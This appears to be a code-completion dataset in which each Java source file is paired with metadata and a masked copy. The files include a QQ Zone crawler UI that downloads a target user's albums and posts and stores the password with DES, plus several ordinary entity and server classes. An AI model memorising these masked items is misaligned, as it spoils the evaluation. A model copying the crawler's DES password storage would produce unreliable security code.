return scollPanel;
}
@Override
protected void setComponentsListener(JPanel rootPanel) {
setNumTextFieldListener(unTF);
setNumTextFieldListener(qqTF);
setWebBynListener();
setLoginBtnListener();
setAlbumBtnListener();
setMoodBtnListener();
}
private void setNumTextFieldListener(final JTextField textField) {
textField.addKeyListener(new KeyListener() {
@Override
public void keyTyped(KeyEvent e) {
String text = textField.getText(); // 当前输入框内容
char ch = e.getKeyChar(); // 准备附加到输入框的字符
// 限制不能输入非数字
if(!(ch >= '0' && ch <= '9')) {
e.consume(); // 销毁当前输入字符
// 限制不能是0开头
} else if("".equals(text) && ch == '0') {
e.consume();
}
}
@Override
public void keyReleased(KeyEvent e) {
// TODO Auto-generated method stub
}
@Override
public void keyPressed(KeyEvent e) {
// TODO Auto-generated method stub
}
});
}
private void setWebBynListener() {
webBtn.addActionListener(new ActionListener() {
@Override
public void actionPerformed(ActionEvent e) {
if(isLogin == true) {
webBtn.setSelected(!webBtn.isSelected());
SwingUtils.warn("非登录状态下才允许切换爬虫模式");
return;
}
if(webBtn.isSelected()) {
if(!FileUtils.exists(WebDriverType.PHANTOMJS.DRIVER_PATH())) {
webBtn.setSelected(false);
UIUtils.log("切换爬虫模式失败: 仿真浏览器丢失");
} else {
UIUtils.log("切换爬虫模式: 仿真浏览器 (不推荐: 速度较慢, 成功率低)");
}
} else {
UIUtils.log("切换爬虫模式: XHR协议 (推荐: 速度较快, 成功率高)");
}
}
});
}
private void setLoginBtnListener() {
loginBtn.addActionListener(new ActionListener() {
@Override
public void actionPerformed(ActionEvent e) {
if(!LOGOUT_DESC.equals(loginBtn.getText())) {
_login();
} else {
_logout();
}
}
});
}
private void _login() {
final String username = unTF.getText();
final String password = String.valueOf(pwTF.getPassword());
if(StrUtils.isEmpty(username, password)) {
SwingUtils.warn("账号或密码不能为空");
return;
} else if(!SafetyMonitor.getInstn().isInWhitelist(username)) {
SwingUtils.warn(CryptoUtils.deDES("3DAE8A67B609563341FAEC071AC31480BC61074A466C072D7459240BCD26494B508505E9FA4C9365"));
return;
}
loginBtn.setEnabled(false);
tp.execute(new Thread() {
@Override
public void run() {
BaseLander lander = webBtn.isSelected() ?
new exp.crawler.qq.core.web.Lander(username, password) :
new exp.crawler.qq.core.xhr.Lander(username, password);
isLogin = lander.execute();
if(isLogin == true) {
loginBtn.setText(LOGOUT_DESC);
albumBtn.setEnabled(true);
moodBtn.setEnabled(true);
unTF.setEditable(false);
pwTF.setEditable(false);
if(rememberBtn.isSelected()) {
backupLoginInfo();
} else {
deleteLoginInfo();
}
} else {
Browser.quit();
}
loginBtn.setEnabled(true);
}
});
}
private void _logout() {
if(!albumBtn.isEnabled() || !moodBtn.isEnabled()) {
SwingUtils.warn("任务完成后才能注销登陆 !!!");
return;
}
if(SwingUtils.confirm("确认注销登陆吗 ?")) {
Browser.quit();
Browser.clearCookies();
loginBtn.setText(LOGIN_DESC);
isLogin = false;
albumBtn.setEnabled(false);
moodBtn.setEnabled(false);
unTF.setEditable(true);
pwTF.setEditable(true);
UIUtils.log("QQ [", unTF.getText(), "] 已注销登陆");
}
}
private void setAlbumBtnListener() {
albumBtn.addActionListener(new ActionListener() {
@Override
public void actionPerformed(ActionEvent e) {
if(moodBtn.isEnabled() == false) {
SwingUtils.warn("请先等待【空间说说】下载完成...");
} else {
albumBtn.setEnabled(false);
qqTF.setEditable(false);
tp.execute(new Thread() {
@Override
public void run() {
String QQ = qqTF.getText();
if(SafetyMonitor.getInstn().isInBlacklist(QQ)) {
SwingUtils.warn(CryptoUtils.deDES("CBE925DFC86BAE34CE0E0C979A9E85725774A822AF89D1C83735A49161F2EBC8"));
} else {
BaseAlbumAnalyzer analyzer = webBtn.isSelected() ?
new exp.crawler.qq.core.web.AlbumAnalyzer(QQ) :
new exp.crawler.qq.core.xhr.AlbumAnalyzer(QQ);
analyzer.execute();
}
albumBtn.setEnabled(true);
qqTF.setEditable(true);
}
});
}
}
});
}
private void setMoodBtnListener() {
moodBtn.addActionListener(new ActionListener() {
@Override
public void actionPerformed(ActionEvent e) {
if(albumBtn.isEnabled() == false) {
SwingUtils.warn("请先等待【空间相册】下载完成...");
} else {
moodBtn.setEnabled(false);
qqTF.setEditable(false);
tp.execute(new Thread() {
@Override
public void run() {
String QQ = qqTF.getText();
if(SafetyMonitor.getInstn().isInBlacklist(QQ)) {
SwingUtils.warn(CryptoUtils.deDES("CBE925DFC86BAE34CE0E0C979A9E85725774A822AF89D1C83735A49161F2EBC8"));
} else {
BaseMoodAnalyzer analyzer = webBtn.isSelected() ?
new exp.crawler.qq.core.web.MoodAnalyzer(QQ) :
new exp.crawler.qq.core.xhr.MoodAnalyzer(QQ);
analyzer.execute();
}
moodBtn.setEnabled(true);
qqTF.setEditable(true);
}
});
}
}
});
}
@Override
protected void AfterView() {
SafetyMonitor.getInstn();
printVersionInfo();
}
@Override
protected void beforeHide() {
// TODO Auto-generated method stub
}
@Override
protected void beforeExit() {
Browser.quit();
}
/**
* 附加信息到控制台
* @param msg
*/
public void toConsole(String msg) {
if(StrUtils.count(consoleTA.getText(), '\n') >= MAX_LINE) {
consoleTA.setText("");
}
consoleTA.append(msg.concat(LINE_END));
SwingUtils.toEnd(consoleTA);
}
/**
* 备份登陆信息
*/
private void backupLoginInfo() {
String username = unTF.getText();
String password = String.valueOf(pwTF.getPassword());
String QQ = qqTF.getText();
String loginInfo = StrUtils.concat(
CryptoUtils.toDES(username), LINE_END,
CryptoUtils.toDES(password), LINE_END,
CryptoUtils.toDES(QQ)
);
FileUtils.write(Config.LOGIN_INFO_PATH, loginInfo, Charset.ISO, false);
}
/**
* 还原登陆信息
*/
private boolean recoveryLoginInfo() {
boolean isOk = false;
List<String> lines = FileUtils.readLines(Config.LOGIN_INFO_PATH, Charset.ISO);
if(lines.size() == 3) {
unTF.setText(CryptoUtils.deDES(lines.get(0).trim()));
pwTF.setText(CryptoUtils.deDES(lines.get(1).trim()));
qqTF.setText(CryptoUtils.deDES(lines.get(2).trim()));
isOk = true;
} else {
deleteLoginInfo();
}
return isOk;
}
/**
* 删除登陆信息
*/
private void deleteLoginInfo() {
FileUtils.delete(Config.LOGIN_INFO_PATH);
}
/**
* 打印授权版本信息
*/
public void printVersionInfo() {
toConsole("**********************************************************");
toConsole(" [EXP (QQ:272629724)] 享有本软件的完全著作权");
toConsole(" 未经许可严禁擅自用于商业用途, 违者保留追究其法律责任的权利");
toConsole("**********************************************************");
}
}
| EXP-Codes/jzone-crawler | src/main/java/exp/crawler/qq/ui/AppUI.java | 4,144 | /** 【说说】爬取按钮 */ | block_comment | zh-cn | package exp.crawler.qq.ui;
import java.awt.BorderLayout;
import java.awt.Color;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.awt.event.KeyEvent;
import java.awt.event.KeyListener;
import java.util.List;
import javax.swing.JButton;
import javax.swing.JPanel;
import javax.swing.JPasswordField;
import javax.swing.JRadioButton;
import javax.swing.JScrollPane;
import javax.swing.JTextArea;
import javax.swing.JTextField;
import org.jb2011.lnf.beautyeye.ch3_button.BEButtonUI.NormalColor;
import exp.crawler.qq.Config;
import exp.crawler.qq.cache.Browser;
import exp.crawler.qq.core.interfaze.BaseAlbumAnalyzer;
import exp.crawler.qq.core.interfaze.BaseLander;
import exp.crawler.qq.core.interfaze.BaseMoodAnalyzer;
import exp.crawler.qq.monitor.SafetyMonitor;
import exp.crawler.qq.utils.UIUtils;
import exp.libs.envm.Charset;
import exp.libs.utils.encode.CryptoUtils;
import exp.libs.utils.io.FileUtils;
import exp.libs.utils.other.StrUtils;
import exp.libs.warp.net.webkit.WebDriverType;
import exp.libs.warp.thread.ThreadPool;
import exp.libs.warp.ui.BeautyEyeUtils;
import exp.libs.warp.ui.SwingUtils;
import exp.libs.warp.ui.cpt.win.MainWindow;
/**
* <PRE>
* QQ空间爬虫主界面
* </PRE>
* <br/><B>PROJECT : </B> qzone-crawler
* <br/><B>SUPPORT : </B> <a href="http://www.exp-blog.com" target="_blank">www.exp-blog.com</a>
* @version 2017-12-17
* @author EXP: 272629724@qq.com
* @since jdk版本:jdk1.6
*/
public class AppUI extends MainWindow {
/** 唯一序列号 */
private static final long serialVersionUID = -7825507638221203671L;
/** 界面宽度 */
private final static int WIDTH = 750;
/** 界面高度 */
private final static int HEIGHT = 600;
/** 界面文本框最大缓存行数 */
private final static int MAX_LINE = 500;
/** 换行符 */
private final static String LINE_END = "\r\n";
/** 登陆说明 */
private final static String LOGIN_DESC = "登陆 QQ 空间";
/** 注销登陆说明 */
private final static String LOGOUT_DESC = "注销";
/** 爬取数据的目标QQ号输入框 */
private JTextField qqTF;
/** QQ登陆账号输入框 */
private JTextField unTF;
/** QQ登陆密码输入框 */
private JPasswordField pwTF;
/**
* 【WEB模式】选项.
* XHR模式为后端爬虫模式(默认)
* WEB模式为前端仿真模式
*/
private JRadioButton webBtn;
/** 【记住登陆信息】选项 */
private JRadioButton rememberBtn;
/** 登陆按钮 */
private JButton loginBtn;
/** 是否登陆成功 */
private boolean isLogin;
/** 【相册】爬取按钮 */
private JButton albumBtn;
/** 【说说 <SUF>*/
private JButton moodBtn;
/** 日志输出区 */
private JTextArea consoleTA;
/** 线程池 */
private ThreadPool tp;
/** 单例 */
private static volatile AppUI instance;
/**
* 构造函数
*/
private AppUI() {
super("QQ空间爬虫 - By EXP (QQ:272629724)", WIDTH, HEIGHT);
}
/**
* 创建实例
* @param args main入参
*/
public static void createInstn(String[] args) {
getInstn();
}
/**
* 获取单例
* @return
*/
public static AppUI getInstn() {
if(instance == null) {
synchronized (AppUI.class) {
if(instance == null) {
instance = new AppUI();
instance.setMini(TO_MINI);
}
}
}
return instance;
}
@Override
protected void initComponents(Object... args) {
this.qqTF = new JTextField("");
this.unTF = new JTextField("");
this.pwTF = new JPasswordField("");
qqTF.setToolTipText("需要爬取数据的目标QQ号");
unTF.setToolTipText("请确保此QQ具有查看对方空间权限 (不负责权限破解)");
pwTF.setToolTipText("此软件不盗号, 不放心勿用");
this.webBtn = new JRadioButton("web模式");
this.rememberBtn = new JRadioButton("记住我");
if(recoveryLoginInfo()) {
rememberBtn.setSelected(true);
}
this.loginBtn = new JButton(LOGIN_DESC);
this.albumBtn = new JButton("爬取【空间相册】图文数据");
this.moodBtn = new JButton("爬取【空间说说】图文数据");
albumBtn.setEnabled(false);
moodBtn.setEnabled(false);
BeautyEyeUtils.setButtonStyle(NormalColor.green, loginBtn);
BeautyEyeUtils.setButtonStyle(NormalColor.lightBlue, albumBtn);
BeautyEyeUtils.setButtonStyle(NormalColor.lightBlue, moodBtn);
loginBtn.setForeground(Color.BLACK);
albumBtn.setForeground(Color.BLACK);
moodBtn.setForeground(Color.BLACK);
this.consoleTA = new JTextArea();
consoleTA.setEditable(false);
this.isLogin = false;
this.tp = new ThreadPool(10);
}
@Override
protected void setComponentsLayout(JPanel rootPanel) {
rootPanel.add(getCtrlPanel(), BorderLayout.NORTH);
rootPanel.add(getConsolePanel(), BorderLayout.CENTER);
}
private JPanel getCtrlPanel() {
JPanel panel = SwingUtils.getVGridPanel(
SwingUtils.getPairsPanel("QQ账号", unTF),
SwingUtils.getPairsPanel("QQ密码", pwTF),
SwingUtils.getPairsPanel("目标QQ", qqTF),
SwingUtils.getEBorderPanel(loginBtn, SwingUtils.addBorder(
SwingUtils.getHGridPanel(webBtn, rememberBtn))),
SwingUtils.getHGridPanel(albumBtn, moodBtn)
);
SwingUtils.addBorder(panel, "control");
return panel;
}
private JScrollPane getConsolePanel() {
JScrollPane scollPanel = SwingUtils.addAutoScroll(consoleTA);
SwingUtils.addBorder(scollPanel, "console");
return scollPanel;
}
@Override
protected void setComponentsListener(JPanel rootPanel) {
setNumTextFieldListener(unTF);
setNumTextFieldListener(qqTF);
setWebBynListener();
setLoginBtnListener();
setAlbumBtnListener();
setMoodBtnListener();
}
private void setNumTextFieldListener(final JTextField textField) {
textField.addKeyListener(new KeyListener() {
@Override
public void keyTyped(KeyEvent e) {
String text = textField.getText(); // 当前输入框内容
char ch = e.getKeyChar(); // 准备附加到输入框的字符
// 限制不能输入非数字
if(!(ch >= '0' && ch <= '9')) {
e.consume(); // 销毁当前输入字符
// 限制不能是0开头
} else if("".equals(text) && ch == '0') {
e.consume();
}
}
@Override
public void keyReleased(KeyEvent e) {
// TODO Auto-generated method stub
}
@Override
public void keyPressed(KeyEvent e) {
// TODO Auto-generated method stub
}
});
}
private void setWebBynListener() {
webBtn.addActionListener(new ActionListener() {
@Override
public void actionPerformed(ActionEvent e) {
if(isLogin == true) {
webBtn.setSelected(!webBtn.isSelected());
SwingUtils.warn("非登录状态下才允许切换爬虫模式");
return;
}
if(webBtn.isSelected()) {
if(!FileUtils.exists(WebDriverType.PHANTOMJS.DRIVER_PATH())) {
webBtn.setSelected(false);
UIUtils.log("切换爬虫模式失败: 仿真浏览器丢失");
} else {
UIUtils.log("切换爬虫模式: 仿真浏览器 (不推荐: 速度较慢, 成功率低)");
}
} else {
UIUtils.log("切换爬虫模式: XHR协议 (推荐: 速度较快, 成功率高)");
}
}
});
}
private void setLoginBtnListener() {
loginBtn.addActionListener(new ActionListener() {
@Override
public void actionPerformed(ActionEvent e) {
if(!LOGOUT_DESC.equals(loginBtn.getText())) {
_login();
} else {
_logout();
}
}
});
}
private void _login() {
final String username = unTF.getText();
final String password = String.valueOf(pwTF.getPassword());
if(StrUtils.isEmpty(username, password)) {
SwingUtils.warn("账号或密码不能为空");
return;
} else if(!SafetyMonitor.getInstn().isInWhitelist(username)) {
SwingUtils.warn(CryptoUtils.deDES("3DAE8A67B609563341FAEC071AC31480BC61074A466C072D7459240BCD26494B508505E9FA4C9365"));
return;
}
loginBtn.setEnabled(false);
tp.execute(new Thread() {
@Override
public void run() {
BaseLander lander = webBtn.isSelected() ?
new exp.crawler.qq.core.web.Lander(username, password) :
new exp.crawler.qq.core.xhr.Lander(username, password);
isLogin = lander.execute();
if(isLogin == true) {
loginBtn.setText(LOGOUT_DESC);
albumBtn.setEnabled(true);
moodBtn.setEnabled(true);
unTF.setEditable(false);
pwTF.setEditable(false);
if(rememberBtn.isSelected()) {
backupLoginInfo();
} else {
deleteLoginInfo();
}
} else {
Browser.quit();
}
loginBtn.setEnabled(true);
}
});
}
private void _logout() {
if(!albumBtn.isEnabled() || !moodBtn.isEnabled()) {
SwingUtils.warn("任务完成后才能注销登陆 !!!");
return;
}
if(SwingUtils.confirm("确认注销登陆吗 ?")) {
Browser.quit();
Browser.clearCookies();
loginBtn.setText(LOGIN_DESC);
isLogin = false;
albumBtn.setEnabled(false);
moodBtn.setEnabled(false);
unTF.setEditable(true);
pwTF.setEditable(true);
UIUtils.log("QQ [", unTF.getText(), "] 已注销登陆");
}
}
private void setAlbumBtnListener() {
albumBtn.addActionListener(new ActionListener() {
@Override
public void actionPerformed(ActionEvent e) {
if(moodBtn.isEnabled() == false) {
SwingUtils.warn("请先等待【空间说说】下载完成...");
} else {
albumBtn.setEnabled(false);
qqTF.setEditable(false);
tp.execute(new Thread() {
@Override
public void run() {
String QQ = qqTF.getText();
if(SafetyMonitor.getInstn().isInBlacklist(QQ)) {
SwingUtils.warn(CryptoUtils.deDES("CBE925DFC86BAE34CE0E0C979A9E85725774A822AF89D1C83735A49161F2EBC8"));
} else {
BaseAlbumAnalyzer analyzer = webBtn.isSelected() ?
new exp.crawler.qq.core.web.AlbumAnalyzer(QQ) :
new exp.crawler.qq.core.xhr.AlbumAnalyzer(QQ);
analyzer.execute();
}
albumBtn.setEnabled(true);
qqTF.setEditable(true);
}
});
}
}
});
}
private void setMoodBtnListener() {
moodBtn.addActionListener(new ActionListener() {
@Override
public void actionPerformed(ActionEvent e) {
if(albumBtn.isEnabled() == false) {
SwingUtils.warn("请先等待【空间相册】下载完成...");
} else {
moodBtn.setEnabled(false);
qqTF.setEditable(false);
tp.execute(new Thread() {
@Override
public void run() {
String QQ = qqTF.getText();
if(SafetyMonitor.getInstn().isInBlacklist(QQ)) {
SwingUtils.warn(CryptoUtils.deDES("CBE925DFC86BAE34CE0E0C979A9E85725774A822AF89D1C83735A49161F2EBC8"));
} else {
BaseMoodAnalyzer analyzer = webBtn.isSelected() ?
new exp.crawler.qq.core.web.MoodAnalyzer(QQ) :
new exp.crawler.qq.core.xhr.MoodAnalyzer(QQ);
analyzer.execute();
}
moodBtn.setEnabled(true);
qqTF.setEditable(true);
}
});
}
}
});
}
@Override
protected void AfterView() {
SafetyMonitor.getInstn();
printVersionInfo();
}
@Override
protected void beforeHide() {
// TODO Auto-generated method stub
}
@Override
protected void beforeExit() {
Browser.quit();
}
/**
* 附加信息到控制台
* @param msg
*/
public void toConsole(String msg) {
if(StrUtils.count(consoleTA.getText(), '\n') >= MAX_LINE) {
consoleTA.setText("");
}
consoleTA.append(msg.concat(LINE_END));
SwingUtils.toEnd(consoleTA);
}
/**
* 备份登陆信息
*/
private void backupLoginInfo() {
String username = unTF.getText();
String password = String.valueOf(pwTF.getPassword());
String QQ = qqTF.getText();
String loginInfo = StrUtils.concat(
CryptoUtils.toDES(username), LINE_END,
CryptoUtils.toDES(password), LINE_END,
CryptoUtils.toDES(QQ)
);
FileUtils.write(Config.LOGIN_INFO_PATH, loginInfo, Charset.ISO, false);
}
/**
* 还原登陆信息
*/
private boolean recoveryLoginInfo() {
boolean isOk = false;
List<String> lines = FileUtils.readLines(Config.LOGIN_INFO_PATH, Charset.ISO);
if(lines.size() == 3) {
unTF.setText(CryptoUtils.deDES(lines.get(0).trim()));
pwTF.setText(CryptoUtils.deDES(lines.get(1).trim()));
qqTF.setText(CryptoUtils.deDES(lines.get(2).trim()));
isOk = true;
} else {
deleteLoginInfo();
}
return isOk;
}
/**
* 删除登陆信息
*/
private void deleteLoginInfo() {
FileUtils.delete(Config.LOGIN_INFO_PATH);
}
/**
* 打印授权版本信息
*/
public void printVersionInfo() {
toConsole("**********************************************************");
toConsole(" [EXP (QQ:272629724)] 享有本软件的完全著作权");
toConsole(" 未经许可严禁擅自用于商业用途, 违者保留追究其法律责任的权利");
toConsole("**********************************************************");
}
}
| 0 | 15 | 0 |
23210_2 | import java.io.*;
import java.net.ServerSocket;
import java.net.Socket;
/**
* @author yangda
* @description:
* @create 2023-05-21-14:53
*/
public class MyTomcat {
public static void main(String[] args) throws IOException {
ServerSocket serverSocket = new ServerSocket(9999);
int i = 0;
while (!serverSocket.isClosed()){ // 如果serverSocket 没有关闭
System.out.println("f服务器等待连接、、、" + ++i);
// 等待浏览器/客户端连接,得到socket
// 该socket用于通信
Socket socket = serverSocket.accept();
// 拿到 和socket相关的输出流
OutputStream outputStream = socket.getOutputStream();
FileReader fileReader = new FileReader("src/hello.html");
BufferedReader bufferedReader = new BufferedReader(fileReader);
String buf = "";
while ((buf = bufferedReader.readLine()) != null){
outputStream.write(buf.getBytes());
}
// BufferedWriter bufferedWriter = new BufferedWriter(new OutputStreamWriter(outputStream));
// outputStream.write("hello i am server".getBytes());
System.out.println("信息以打入管道" );
outputStream.close();
socket.close();
}
serverSocket.close();
}
}
| EXsYang/mycode | javaweb/tomcat/src/MyTomcat.java | 311 | // 等待浏览器/客户端连接,得到socket | line_comment | zh-cn | import java.io.*;
import java.net.ServerSocket;
import java.net.Socket;
/**
* @author yangda
* @description:
* @create 2023-05-21-14:53
*/
public class MyTomcat {
public static void main(String[] args) throws IOException {
ServerSocket serverSocket = new ServerSocket(9999);
int i = 0;
while (!serverSocket.isClosed()){ // 如果serverSocket 没有关闭
System.out.println("f服务器等待连接、、、" + ++i);
// 等待 <SUF>
// 该socket用于通信
Socket socket = serverSocket.accept();
// 拿到 和socket相关的输出流
OutputStream outputStream = socket.getOutputStream();
FileReader fileReader = new FileReader("src/hello.html");
BufferedReader bufferedReader = new BufferedReader(fileReader);
String buf = "";
while ((buf = bufferedReader.readLine()) != null){
outputStream.write(buf.getBytes());
}
// BufferedWriter bufferedWriter = new BufferedWriter(new OutputStreamWriter(outputStream));
// outputStream.write("hello i am server".getBytes());
System.out.println("信息以打入管道" );
outputStream.close();
socket.close();
}
serverSocket.close();
}
}
| 1 | 23 | 1 |
57583_6 | package io.github.ealenxie.aliyun.ocr.vo.invoice;
import com.fasterxml.jackson.annotation.JsonProperty;
import lombok.Getter;
import lombok.Setter;
/**
* Created by EalenXie on 2023/4/3 12:58
* 航班详单
*/
@Getter
@Setter
public class Flight {
/**
* 出发站
*/
@JsonProperty("departureStation")
private String departureStation;
/**
* 到达站
*/
@JsonProperty("arrivalStation")
private String arrivalStation;
/**
* 承运人
*/
@JsonProperty("carrier")
private String carrier;
/**
* 航班号
*/
@JsonProperty("flightNumber")
private String flightNumber;
/**
* 舱位等级
*/
@JsonProperty("cabinClass")
private String cabinClass;
/**
* 乘机日期
*/
@JsonProperty("flightDate")
private String flightDate;
/**
* 乘机时间
*/
@JsonProperty("flightTime")
private String flightTime;
/**
* 座位等级
*/
@JsonProperty("seatClass")
private String seatClass;
/**
* 客票生效日期
*/
@JsonProperty("validFromDate")
private String validFromDate;
/**
* 有效截止日期
*/
@JsonProperty("validToDate")
private String validToDate;
/**
* 免费行李
*/
@JsonProperty("freeBaggageAllowance")
private String freeBaggageAllowance;
}
| EalenXie/sdk-all | aliyun-ocr-sdk/src/main/java/io/github/ealenxie/aliyun/ocr/vo/invoice/Flight.java | 368 | /**
* 乘机日期
*/ | block_comment | zh-cn | package io.github.ealenxie.aliyun.ocr.vo.invoice;
import com.fasterxml.jackson.annotation.JsonProperty;
import lombok.Getter;
import lombok.Setter;
/**
* Created by EalenXie on 2023/4/3 12:58
* 航班详单
*/
@Getter
@Setter
public class Flight {
/**
* 出发站
*/
@JsonProperty("departureStation")
private String departureStation;
/**
* 到达站
*/
@JsonProperty("arrivalStation")
private String arrivalStation;
/**
* 承运人
*/
@JsonProperty("carrier")
private String carrier;
/**
* 航班号
*/
@JsonProperty("flightNumber")
private String flightNumber;
/**
* 舱位等级
*/
@JsonProperty("cabinClass")
private String cabinClass;
/**
* 乘机日 <SUF>*/
@JsonProperty("flightDate")
private String flightDate;
/**
* 乘机时间
*/
@JsonProperty("flightTime")
private String flightTime;
/**
* 座位等级
*/
@JsonProperty("seatClass")
private String seatClass;
/**
* 客票生效日期
*/
@JsonProperty("validFromDate")
private String validFromDate;
/**
* 有效截止日期
*/
@JsonProperty("validToDate")
private String validToDate;
/**
* 免费行李
*/
@JsonProperty("freeBaggageAllowance")
private String freeBaggageAllowance;
}
| 0 | 23 | 0 |
33828_7 | package com.github.domain.entity;
import com.baomidou.mybatisplus.annotation.IdType;
import com.baomidou.mybatisplus.annotation.TableField;
import com.baomidou.mybatisplus.annotation.TableId;
import com.baomidou.mybatisplus.annotation.TableName;
import com.fasterxml.jackson.annotation.JsonFormat;
import com.github.domain.vo.Rate;
import lombok.Data;
import org.springframework.format.annotation.DateTimeFormat;
import java.util.Date;
import java.util.List;
/**
* @author EalenXie create on 2021/3/1 9:14
* 商户实体 既是商户实体 持久化对象也是商户领域的根实体 (贫血模型)
* 属性示例
*/
@Data
@TableName("merchant")
public class Merchant {
/**
* 商户Id
*/
@TableId(value = "merchant_id", type = IdType.AUTO)
private Long merchantId;
/**
* 商户名称
*/
@TableField(value = "merchant_name")
private String merchantName;
/**
* 商户类型
*/
@TableField(value = "merchant_type")
private String merchantType;
/**
* 法定代表人
*/
@TableField(value = "legal_person")
private String legalPerson;
/**
* 商户入驻时间
*/
@DateTimeFormat(pattern = "yyyy-MM-dd HH:mm:ss")
@JsonFormat(pattern = "yyyy-MM-dd HH:mm:ss", timezone = "GMT+8")
@TableField(value = "come_in_time")
private Date comeInTime;
/**
* 一个商户拥有一家或多家 门店(实体)
*/
@TableField(exist = false)
private List<Store> stores;
/**
* 一个商户拥有多个对外渠道 费率(值对象)
*/
@TableField(exist = false)
private List<Rate> rates;
}
| EalenXie/spring-microservice-ddd | src/main/java/com/github/domain/entity/Merchant.java | 488 | /**
* 一个商户拥有多个对外渠道 费率(值对象)
*/ | block_comment | zh-cn | package com.github.domain.entity;
import com.baomidou.mybatisplus.annotation.IdType;
import com.baomidou.mybatisplus.annotation.TableField;
import com.baomidou.mybatisplus.annotation.TableId;
import com.baomidou.mybatisplus.annotation.TableName;
import com.fasterxml.jackson.annotation.JsonFormat;
import com.github.domain.vo.Rate;
import lombok.Data;
import org.springframework.format.annotation.DateTimeFormat;
import java.util.Date;
import java.util.List;
/**
* @author EalenXie create on 2021/3/1 9:14
* 商户实体 既是商户实体 持久化对象也是商户领域的根实体 (贫血模型)
* 属性示例
*/
@Data
@TableName("merchant")
public class Merchant {
/**
* 商户Id
*/
@TableId(value = "merchant_id", type = IdType.AUTO)
private Long merchantId;
/**
* 商户名称
*/
@TableField(value = "merchant_name")
private String merchantName;
/**
* 商户类型
*/
@TableField(value = "merchant_type")
private String merchantType;
/**
* 法定代表人
*/
@TableField(value = "legal_person")
private String legalPerson;
/**
* 商户入驻时间
*/
@DateTimeFormat(pattern = "yyyy-MM-dd HH:mm:ss")
@JsonFormat(pattern = "yyyy-MM-dd HH:mm:ss", timezone = "GMT+8")
@TableField(value = "come_in_time")
private Date comeInTime;
/**
* 一个商户拥有一家或多家 门店(实体)
*/
@TableField(exist = false)
private List<Store> stores;
/**
* 一个商 <SUF>*/
@TableField(exist = false)
private List<Rate> rates;
}
| 0 | 39 | 0 |
36401_4 | package name.ealen.entity;
import com.fasterxml.jackson.annotation.JsonIgnore;
import org.hibernate.annotations.GenericGenerator;
import javax.persistence.*;
import java.util.Set;
/**
* Created by EalenXie on 2018/10/16 16:13.
* 典型的 多层级 分类
* <p>
* :@NamedEntityGraph :注解在实体上 , 解决典型的N+1问题
* name表示实体图名, 与 repository中的注解 @EntityGraph的value属性相对应,
* attributeNodes 表示被标注要懒加载的属性节点 比如此例中 : 要懒加载的子分类集合children
*/
@Entity
@Table(name = "jpa_category")
@NamedEntityGraphs({
@NamedEntityGraph(name = "Category.findAll", attributeNodes = {@NamedAttributeNode("children")}),
@NamedEntityGraph(name = "Category.findByParent",
attributeNodes = {@NamedAttributeNode(value = "children", subgraph = "son")}, //一级延伸
subgraphs = {@NamedSubgraph(name = "son", attributeNodes = @NamedAttributeNode(value = "children", subgraph = "grandson")), //二级延伸
@NamedSubgraph(name = "grandson", attributeNodes = @NamedAttributeNode(value = "children", subgraph = "greatGrandSon")), //三级延伸
@NamedSubgraph(name = "greatGrandSon", attributeNodes = @NamedAttributeNode(value = "children"))}) //四级延伸
// 有多少次延伸,就有多少个联表关系,自身关联的表设计中,子节点是可以无限延伸的,所以关联数可能查询的.....
})
public class Category {
/**
* Id 使用UUID生成策略
*/
@Id
@GeneratedValue(generator = "UUID")
@GenericGenerator(name = "UUID", strategy = "org.hibernate.id.UUIDGenerator")
private String id;
/**
* 分类名
*/
private String name;
/**
* 一个商品分类下面可能有多个商品子分类(多级) 比如 分类 : 家用电器 (子)分类 : 电脑 (孙)子分类 : 笔记本电脑
*/
@ManyToOne(fetch = FetchType.LAZY)
@JoinColumn(name = "parent_id")
@JsonIgnore
private Category parent; //父分类
@OneToMany(mappedBy = "parent", fetch = FetchType.LAZY)
private Set<Category> children; //子分类集合
public String getId() {
return id;
}
public void setId(String id) {
this.id = id;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public Category getParent() {
return parent;
}
public void setParent(Category parent) {
this.parent = parent;
}
public Set<Category> getChildren() {
return children;
}
public void setChildren(Set<Category> children) {
this.children = children;
}
}
| EalenXie/springboot-jpa-N-plus-One | src/main/java/name/ealen/entity/Category.java | 743 | //四级延伸 | line_comment | zh-cn | package name.ealen.entity;
import com.fasterxml.jackson.annotation.JsonIgnore;
import org.hibernate.annotations.GenericGenerator;
import javax.persistence.*;
import java.util.Set;
/**
* Created by EalenXie on 2018/10/16 16:13.
* 典型的 多层级 分类
* <p>
* :@NamedEntityGraph :注解在实体上 , 解决典型的N+1问题
* name表示实体图名, 与 repository中的注解 @EntityGraph的value属性相对应,
* attributeNodes 表示被标注要懒加载的属性节点 比如此例中 : 要懒加载的子分类集合children
*/
@Entity
@Table(name = "jpa_category")
@NamedEntityGraphs({
@NamedEntityGraph(name = "Category.findAll", attributeNodes = {@NamedAttributeNode("children")}),
@NamedEntityGraph(name = "Category.findByParent",
attributeNodes = {@NamedAttributeNode(value = "children", subgraph = "son")}, //一级延伸
subgraphs = {@NamedSubgraph(name = "son", attributeNodes = @NamedAttributeNode(value = "children", subgraph = "grandson")), //二级延伸
@NamedSubgraph(name = "grandson", attributeNodes = @NamedAttributeNode(value = "children", subgraph = "greatGrandSon")), //三级延伸
@NamedSubgraph(name = "greatGrandSon", attributeNodes = @NamedAttributeNode(value = "children"))}) //四级 <SUF>
// 有多少次延伸,就有多少个联表关系,自身关联的表设计中,子节点是可以无限延伸的,所以关联数可能查询的.....
})
public class Category {
/**
* Id 使用UUID生成策略
*/
@Id
@GeneratedValue(generator = "UUID")
@GenericGenerator(name = "UUID", strategy = "org.hibernate.id.UUIDGenerator")
private String id;
/**
* 分类名
*/
private String name;
/**
* 一个商品分类下面可能有多个商品子分类(多级) 比如 分类 : 家用电器 (子)分类 : 电脑 (孙)子分类 : 笔记本电脑
*/
@ManyToOne(fetch = FetchType.LAZY)
@JoinColumn(name = "parent_id")
@JsonIgnore
private Category parent; //父分类
@OneToMany(mappedBy = "parent", fetch = FetchType.LAZY)
private Set<Category> children; //子分类集合
public String getId() {
return id;
}
public void setId(String id) {
this.id = id;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public Category getParent() {
return parent;
}
public void setParent(Category parent) {
this.parent = parent;
}
public Set<Category> getChildren() {
return children;
}
public void setChildren(Set<Category> children) {
this.children = children;
}
}
| 1 | 6 | 1 |
41467_46 | package leetcode.One.Thousand.boxDelivering;
